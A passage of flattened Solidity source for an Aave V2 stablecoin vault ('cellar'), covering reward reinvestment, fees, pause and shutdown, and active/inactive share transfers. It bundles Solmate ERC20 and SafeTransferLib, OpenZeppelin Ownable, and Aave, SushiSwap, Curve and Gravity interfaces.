amount of assets cellar should receive after swap */ function reinvest(uint256 minAmountOut) public onlyOwner { // Redeems the cellar's stkAAVe rewards for AAVE. stkAAVE.redeem(address(this), type(uint256).max); uint256 amountIn = AAVE.balanceOf(address(this)); // Approve the Sushiswap to swap AAVE. AAVE.safeApprove(address(sushiswapRouter), amountIn); // Specify the swap path from AAVE -> WETH -> current asset. address[] memory path = new address[](3); path[0] = address(AAVE); path[1] = address(WETH); path[2] = address(asset); // Perform a multihop swap using Sushiswap. uint256[] memory amounts = sushiswapRouter.swapExactTokensForTokens( amountIn, minAmountOut, path, address(this), block.timestamp + 60 ); uint256 amountOut = amounts[amounts.length - 1]; // In the case of a shutdown, we just may want to redeem any leftover rewards for // shareholders to claim but without entering them back into a strategy. if (!isShutdown) { // Take performance fee off of rewards. uint256 performanceFeeInAssets = amountOut.mulDivDown(PERFORMANCE_FEE, DENOMINATOR); uint256 performanceFees = convertToShares(performanceFeeInAssets); // Mint performance fees to cellar as shares. _mint(address(this), performanceFees); accruedPerformanceFees += performanceFees; // Reinvest rewards back into the current strategy. _depositToAave(address(asset), amountOut); } } /** * @notice Claim rewards from Aave and begin cooldown period to unstake them. * @return claimed amount of rewards claimed from Aave */ function claimAndUnstake() public onlyOwner returns (uint256 claimed) { // Necessary to do as `claimRewards` accepts a dynamic array as first param. address[] memory aToken = new address[](1); aToken[0] = address(assetAToken); // Claim all stkAAVE rewards. claimed = incentivesController.claimRewards(aToken, type(uint256).max, address(this)); // Begin the cooldown period for unstaking stkAAVE to later redeem for AAVE. stkAAVE.cooldown(); } /** * @notice Sweep tokens sent here that are not managed by the cellar. * @dev This may be used in case the wrong tokens are accidentally sent to this contract. * @param token address of token to transfer out of this cellar */ function sweep(address token) external onlyOwner { // Prevent sweeping of assets managed by the cellar and shares minted to the cellar as fees. if (token == address(asset) || token == address(assetAToken) || token == address(this)) revert ProtectedAsset(token); // Transfer out tokens in this cellar that shouldn't be here. uint256 amount = ERC20(token).balanceOf(address(this)); ERC20(token).safeTransfer(msg.sender, amount); emit Sweep(token, amount); } /** * @notice Removes initial liquidity restriction. */ function removeLiquidityRestriction() external onlyOwner { maxLiquidity = type(uint256).max; emit LiquidityRestrictionRemoved(); } /** * @notice Pause the contract to prevent deposits. * @param _isPaused whether the contract should be paused or unpaused */ function setPause(bool _isPaused) external onlyOwner { if (isShutdown) revert ContractShutdown(); isPaused = _isPaused; emit Pause(_isPaused); } /** * @notice Stops the contract - this is irreversible. Should only be used in an emergency, * for example an irreversible accounting bug or an exploit. */ function shutdown() external onlyOwner { if (isShutdown) revert AlreadyShutdown(); isShutdown = true; // Ensure contract is not paused. isPaused = false; // Withdraw everything from Aave. The check is necessary to prevent a revert happening if we // try to withdraw from Aave without any assets entered into a strategy which would prevent // the contract from being able to be shutdown in this case. if (activeAssets() > 0) _withdrawFromAave(address(asset), type(uint256).max); emit Shutdown(); } // ========================================== HELPERS ========================================== /** * @notice Update state variables related to the current strategy. * @param newAsset address of the new asset being managed by the cellar */ function _updateStrategy(address newAsset) internal { // Retrieve the aToken that will represent the cellar's new strategy on Aave. (, , , , , , , address aTokenAddress, , , , ) = lendingPool.getReserveData(newAsset); // If the address is not null, it is supported by Aave. if (aTokenAddress == address(0)) revert TokenIsNotSupportedByAave(newAsset); // Update state related to the current strategy. asset = ERC20(newAsset); assetDecimals = ERC20(newAsset).decimals(); assetAToken = ERC20(aTokenAddress); // Update the decimals max liquidity is denoted in if restrictions are still in place. if (maxLiquidity != type(uint256).max) maxLiquidity = 5_000_000 * 10**assetDecimals; } /** * @notice Ensures there is enough assets in the contract available for a transfer. * @dev Only withdraws from strategy if needed. * @param assets The amount of assets to allocate */ function _allocateAssets(uint256 assets) internal { uint256 holdingPoolAssets = inactiveAssets(); if (assets > holdingPoolAssets) { _withdrawFromAave(address(asset), assets - holdingPoolAssets); } } /** * @notice Deposits cellar holdings into an Aave lending pool. * @param token the address of the token * @param amount the amount of tokens to deposit */ function _depositToAave(address token, uint256 amount) internal { ERC20(token).safeApprove(address(lendingPool), amount); // Deposit tokens to Aave protocol. lendingPool.deposit(token, amount, address(this), 0); emit DepositToAave(token, amount); } /** * @notice Withdraws assets from Aave. * @param token the address of the token * @param amount the amount of tokens to withdraw * @return withdrawnAmount the withdrawn amount from Aave */ function _withdrawFromAave(address token, uint256 amount) internal returns (uint256) { // Withdraw tokens from Aave protocol uint256 withdrawnAmount = lendingPool.withdraw(token, amount, address(this)); emit WithdrawFromAave(token, withdrawnAmount); return withdrawnAmount; } // ================================= SHARE TRANSFER OPERATIONS ================================= /** * @dev Modified versions of Solmate's ERC20 transfer and transferFrom functions to work with the * cellar's active vs inactive shares mechanic. */ /** * @notice Transfers shares from one account to another. * @dev If the sender specifies to only transfer active shares and does not have enough active * shares to transfer to meet the amount specified, the default behavior is to not to * revert but transfer as many active shares as the sender has to the receiver. * @param from address that is sending shares * @param to address that is receiving shares * @param amount amount of shares to transfer * @param onlyActive whether to only transfer active shares */ function transferFrom( address from, address to, uint256 amount, bool onlyActive ) public returns (bool) { // If the sender is not the owner of the shares, check to see if the owner has approved them // to spend their shares. if (from != msg.sender) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; } // Retrieve the deposits from sender then begin looping through deposits, generally from // oldest to newest deposits. This may not be the case though if shares have been // transferred to the sender, as they will be added to the end of the sender's deposits // regardless of time deposited. UserDeposit[] storage depositsFrom = userDeposits[from]; // Tracks the amount of shares left to transfer; updated at the end of each loop. uint256 leftToTransfer = amount; for (uint256 i = currentDepositIndex[from]; i < depositsFrom.length; i++) { UserDeposit storage dFrom = depositsFrom[i]; // If we only want to transfer active shares, skips this deposit if it is inactive. bool isActive = dFrom.timeDeposited <= lastTimeEnteredStrategy; if (onlyActive && !isActive) continue; // Saves an extra SLOAD if active and cast type to uint256. uint256 dFromShares = dFrom.shares; // Determine the amount of assets and shares to transfer from this deposit. uint256 transferredShares = MathUtils.min(leftToTransfer, dFromShares); uint256 transferredAssets = uint256(dFrom.assets).mulDivUp(transferredShares, dFromShares); // For active shares, deletes the deposit data we don't need anymore for a gas refund. if (isActive) { delete dFrom.assets; delete dFrom.timeDeposited; } else { dFrom.assets -= uint112(transferredAssets); } // Taken shares from this deposit to transfer. dFrom.shares -= uint112(transferredShares); // Transfer a new deposit to the end of receiver's list of deposits. userDeposits[to].push(UserDeposit({ assets: isActive ? 0 : uint112(transferredAssets), shares: uint112(transferredShares), timeDeposited: isActive ? 0 : dFrom.timeDeposited })); // Update the counter of assets left to transfer. leftToTransfer -= transferredShares; if (i == depositsFrom.length - 1 || leftToTransfer == 0) { // Only store the index for the next non-zero deposit to save gas on looping if // inactive deposits weren't skipped. if (!onlyActive) currentDepositIndex[from] = dFrom.shares != 0 ? i : i+1; break; } } // Determine the total amount of shares transferred. amount -= leftToTransfer; // Will revert here if sender is trying to transfer more shares then they have, so no need // for an explicit check. balanceOf[from] -= amount; // Cannot overflow because the sum of all user balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /// @dev For compatibility with ERC20 standard. function transferFrom(address from, address to, uint256 amount) public override returns (bool) { // Defaults to only transferring active shares. return transferFrom(from, to, amount, true); } function transfer(address to, uint256 amount) public override returns (bool) { // Defaults to only transferring active shares. return transferFrom(msg.sender, to, amount, true); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; import {ERC20} from "../tokens/ERC20.sol"; /// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol) /// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol) /// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer. library SafeTransferLib { /*/////////////////////////////////////////////////////////////// ETH OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferETH(address to, uint256 amount) internal { bool callStatus; assembly { // Transfer the ETH and store if it succeeded or not. callStatus := call(gas(), to, amount, 0, 0, 0, 0) } require(callStatus, "ETH_TRANSFER_FAILED"); } /*/////////////////////////////////////////////////////////////// ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferFrom( ERC20 token, address from, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument. mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 100 because the calldata length is 4 + 32 * 3. callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED"); } function safeTransfer( ERC20 token, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 68 because the calldata length is 4 + 32 * 2. callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED"); } function safeApprove( ERC20 token, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 68 because the calldata length is 4 + 32 * 2. callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED"); } /*/////////////////////////////////////////////////////////////// INTERNAL HELPER LOGIC //////////////////////////////////////////////////////////////*/ function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) { assembly { // Get how many bytes the call returned. let returnDataSize := returndatasize() // If the call reverted: if iszero(callStatus) { // Copy the revert message into memory. returndatacopy(0, 0, returnDataSize) // Revert with the same message. revert(0, returnDataSize) } switch returnDataSize case 32 { // Copy the return data into memory. returndatacopy(0, 0, returnDataSize) // Set success to whether it returned true. success := iszero(iszero(mload(0))) } case 0 { // There was no return data. success := 1 } default { // It returned some malformed input. success := 0 } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; /// @title interface for AaveV2StablecoinCellar interface IAaveV2StablecoinCellar { // ======================================= EVENTS ======================================= /** * @notice Emitted when assets are deposited into cellar. * @param caller the address of the caller * @param token the address of token the cellar receives * @param owner the address of the owner of shares * @param assets the amount of assets being deposited * @param shares the amount of shares minted to owner */ event Deposit( address indexed caller, address indexed owner, address indexed token, uint256 assets, uint256 shares ); /** * @notice Emitted when assets are withdrawn from cellar. * @param receiver the address of the receiver of the withdrawn assets * @param owner the address of the owner of the shares * @param token the address of the token withdrawn * @param assets the amount of assets being withdrawn * @param shares the amount of shares burned from owner */ event Withdraw( address indexed receiver, address indexed owner, address indexed token, uint256 assets, uint256 shares ); /** * @notice Emitted on deposit to Aave. * @param token the address of the token * @param amount the amount of tokens to deposit */ event DepositToAave( address indexed token, uint256 amount ); /** * @notice Emitted on withdraw from Aave. * @param token the address of the token * @param amount the amount of tokens to withdraw */ event WithdrawFromAave( address indexed token, uint256 amount ); /** * @notice Emitted on rebalance of Aave strategy. * @param oldAsset the address of the asset for the old strategy * @param newAsset the address of the asset for the new strategy * @param assets the amount of the new assets that has been deposited to Aave after rebalance */ event Rebalance( address indexed oldAsset, address indexed newAsset, uint256 assets ); /** * @notice Emitted when platform fees accrued. * @param fees amount of fees accrued in shares */ event AccruedPlatformFees(uint256 fees); /** * @notice Emitted when performance fees accrued. * @param fees amount of fees accrued in shares */ event AccruedPerformanceFees(uint256 fees); /** * @notice Emitted when performance fees burnt as insurance. * @param fees amount of fees burnt in shares */ event BurntPerformanceFees(uint256 fees); /** * @notice Emitted when platform fees are transferred to Cosmos. * @param platformFees amount of platform fees transferred * @param performanceFees amount of performance fees transferred */ event TransferFees(uint256 platformFees, uint256 performanceFees); /** * @notice Emitted when liquidity restriction removed. */ event LiquidityRestrictionRemoved(); /** * @notice Emitted when tokens accidentally sent to cellar are recovered. * @param token the address of the token * @param amount amount transferred out */ event Sweep(address indexed token, uint256 amount); /** * @notice Emitted when cellar is paused. * @param isPaused whether the contract is paused */ event Pause(bool isPaused); /** * @notice Emitted when cellar is shutdown. */ event Shutdown(); // ======================================= ERRORS ======================================= /** * @notice Attempted an action with zero assets. */ error ZeroAssets(); /** * @notice Attempted an action with zero shares. */ error ZeroShares(); /** * @notice Attempted deposit more liquidity over the liquidity limit. * @param maxLiquidity the max liquidity */ error LiquidityRestricted(uint256 maxLiquidity); /** * @notice Attempted deposit more than the per wallet limit. * @param maxDeposit the max deposit */ error DepositRestricted(uint256 maxDeposit); /** * @notice Current asset is updated to an asset not supported by Aave. * @param unsupportedToken address of the unsupported token */ error TokenIsNotSupportedByAave(address unsupportedToken); /** * @notice Attempted to sweep an asset that is managed by the cellar. * @param token address of the token that can't be sweeped */ error ProtectedAsset(address token); /** * @notice Attempted rebalance into the same asset. * @param asset address of the asset */ error SameAsset(address asset); /** * @notice Attempted action was prevented due to contract being shutdown. */ error ContractShutdown(); /** * @notice Attempted action was prevented due to contract being paused. */ error ContractPaused(); /** * @notice Attempted to shutdown the contract when it was already shutdown. */ error AlreadyShutdown(); // ======================================= STRUCTS ======================================= /** * @notice Stores user deposit data. * @param assets amount of assets deposited * @param shares amount of shares that were minted for their deposit * @param timeDeposited timestamp of when the user deposited */ struct UserDeposit { uint112 assets; uint112 shares; uint32 timeDeposited; } // ================================= DEPOSIT/WITHDRAWAL OPERATIONS ================================= function deposit(uint256 assets, address receiver) external returns (uint256); function mint(uint256 shares, address receiver) external returns (uint256); function withdraw( uint256 assets, address receiver, address owner ) external returns (uint256 shares); function redeem( uint256 shares, address receiver, address owner ) external returns (uint256 assets); // ==================================== ACCOUNTING OPERATIONS ==================================== function activeAssets() external view returns (uint256); function inactiveAssets() external view returns (uint256); function totalAssets() external view returns (uint256); function convertToShares(uint256 assets) external view returns (uint256); function convertToAssets(uint256 shares) external view returns (uint256); function previewDeposit(uint256 assets) external view returns (uint256); function previewMint(uint256 shares) external view returns (uint256); function previewWithdraw(uint256 assets) external view returns (uint256); function previewRedeem(uint256 shares) external view returns (uint256); // ======================================= STATE INFORMATION ===================================== function depositBalances(address user) external view returns ( uint256 userActiveShares, uint256 userInactiveShares, uint256 userActiveAssets, uint256 userInactiveAssets ); function numDeposits(address user) external view returns (uint256); // ============================ DEPOSIT/WITHDRAWAL LIMIT OPERATIONS ============================ function maxDeposit(address owner) external view returns (uint256); function maxMint(address owner) external view returns (uint256); function maxWithdraw(address owner) external view returns (uint256); function maxRedeem(address owner) external view returns (uint256); // ======================================= FEE OPERATIONS ======================================= function accrueFees() external; function transferFees() external; // ======================================= ADMIN OPERATIONS ======================================= function enterStrategy() external; function rebalance( address[9] memory route, uint256[3][4] memory swapParams, uint256 minAmountOut ) external; function reinvest(uint256 minAmountOut) external; function claimAndUnstake() external returns (uint256 claimed); function sweep(address token) external; function removeLiquidityRestriction() external; function setPause(bool _isPaused) external; function shutdown() external; // ================================== SHARE TRANSFER OPERATIONS ================================== function transferFrom( address from, address to, uint256 amount, bool onlyActive ) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; interface IAaveIncentivesController { event RewardsAccrued(address indexed user, uint256 amount); event RewardsClaimed( address indexed user, address indexed to, address indexed claimer, uint256 amount ); event ClaimerSet(address indexed user, address indexed claimer); /* * @dev Returns the configuration of the distribution for a certain asset * @param asset The address of the reference asset of the distribution * @return The asset index, the emission per second and the last updated timestamp **/ function getAssetData(address asset) external view returns ( uint256, uint256, uint256 ); /* * LEGACY ************************** * @dev Returns the configuration of the distribution for a certain asset * @param asset The address of the reference asset of the distribution * @return The asset index, the emission per second and the last updated timestamp **/ function assets(address asset) external view returns ( uint128, uint128, uint256 ); /** * @dev Whitelists an address to claim the rewards on behalf of another address * @param user The address of the user * @param claimer The address of the claimer */ function setClaimer(address user, address claimer) external; /** * @dev Returns the whitelisted claimer for a certain address (0x0 if not set) * @param user The address of the user * @return The claimer address */ function getClaimer(address user) external view returns (address); /** * @dev Configure assets for a certain rewards emission * @param assets The assets to incentivize * @param emissionsPerSecond The emission for each asset */ function configureAssets(address[] calldata assets, uint256[] calldata emissionsPerSecond) external; /** * @dev Called by the corresponding asset on any update that affects the rewards distribution * @param asset The address of the user * @param userBalance The balance of the user of the asset in the lending pool * @param totalSupply The total supply of the asset in the lending pool **/ function handleAction( address asset, uint256 userBalance, uint256 totalSupply ) external; /** * @dev Returns the total of rewards of an user, already accrued + not yet accrued * @param user The address of the user * @return The rewards **/ function getRewardsBalance(address[] calldata assets, address user) external view returns (uint256); /** * @dev Claims reward for an user, on all the assets of the lending pool, accumulating the pending rewards * @param amount Amount of rewards to claim * @param to Address that will be receiving the rewards * @return Rewards claimed **/ function claimRewards( address[] calldata assets, uint256 amount, address to ) external returns (uint256); /** * @dev Claims reward for an user on behalf, on all the assets of the lending pool, accumulating the pending rewards. The caller must * be whitelisted via "allowClaimOnBehalf" function by the RewardsAdmin role manager * @param amount Amount of rewards to claim * @param user Address to check and claim rewards * @param to Address that will be receiving the rewards * @return Rewards claimed **/ function claimRewardsOnBehalf( address[] calldata assets, uint256 amount, address user, address to ) external returns (uint256); /** * @dev returns the unclaimed rewards of the user * @param user the address of the user * @return the unclaimed user rewards */ function getUserUnclaimedRewards(address user) external view returns (uint256); /** * @dev returns the unclaimed rewards of the user * @param user the address of the user * @param asset The asset to incentivize * @return the user index for the asset */ function getUserAssetData(address user, address asset) external view returns (uint256); /** * @dev for backward compatibility with previous implementation of the Incentives controller */ function REWARD_TOKEN() external view returns (address); /** * @dev for backward compatibility with previous implementation of the Incentives controller */ function PRECISION() external view returns (uint8); /** * @dev Gets the distribution end timestamp of the emissions */ function DISTRIBUTION_END() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.11; interface IStakedTokenV2 { function stake(address to, uint256 amount) external; function redeem(address to, uint256 amount) external; function cooldown() external; function claimRewards(address to, uint256 amount) external; function balanceOf(address account) external view returns (uint256); function stakersCooldowns(address account) external view returns (uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; interface ICurveSwaps { function exchange_multiple( address[9] memory _route, uint256[3][4] memory _swap_params, uint256 _amount, uint256 _expected ) external returns (uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; /** * @notice Partial interface for a SushiSwap Router contract **/ interface ISushiSwapRouter { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; interface IGravity { function sendToCosmos(address _tokenContract, bytes32 _destination, uint256 _amount) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; /** * @dev Partial interface for a Aave LendingPool contract, * which is the main point of interaction with an Aave protocol's market **/ interface ILendingPool { /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve **/ function getReserveData(address asset) external view returns ( //stores the reserve configuration //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 configuration, //the liquidity index. Expressed in ray uint128 liquidityIndex, //variable borrow index. Expressed in ray uint128 variableBorrowIndex, //the current supply rate. Expressed in ray uint128 currentLiquidityRate, //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate, //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate, uint40 lastUpdateTimestamp, //tokens addresses address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress, //address of the interest rate strategy address interestRateStrategyAddress, //the id of the reserve. Represents the position in the list of the active reserves uint8 id ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; library MathUtils { /** * @notice Used to change the decimals of precision used for an amount. */ function changeDecimals( uint256 amount, uint8 fromDecimals, uint8 toDecimals ) internal pure returns (uint256) { if (fromDecimals == toDecimals) { return amount; } else if (fromDecimals < toDecimals) { return amount * 10**(toDecimals - fromDecimals); } else { return ceilDiv(amount, 10**(fromDecimals - toDecimals)); } } // ===================================== OPENZEPPELIN'S MATH ===================================== function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } // ================================= SOLMATE's FIXEDPOINTMATHLIB ================================= uint256 public constant WAD = 1e18; // The scalar of ETH and most ERC20s. function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. } function mulDivDown( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // Divide z by the denominator. z := div(z, denominator) } } function mulDivUp( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // First, divide z - 1 by the denominator and add 1. // We allow z - 1 to underflow if z is 0, because we multiply the // end result by 0 if z is zero, ensuring we return 0 if z is zero. z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1)) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 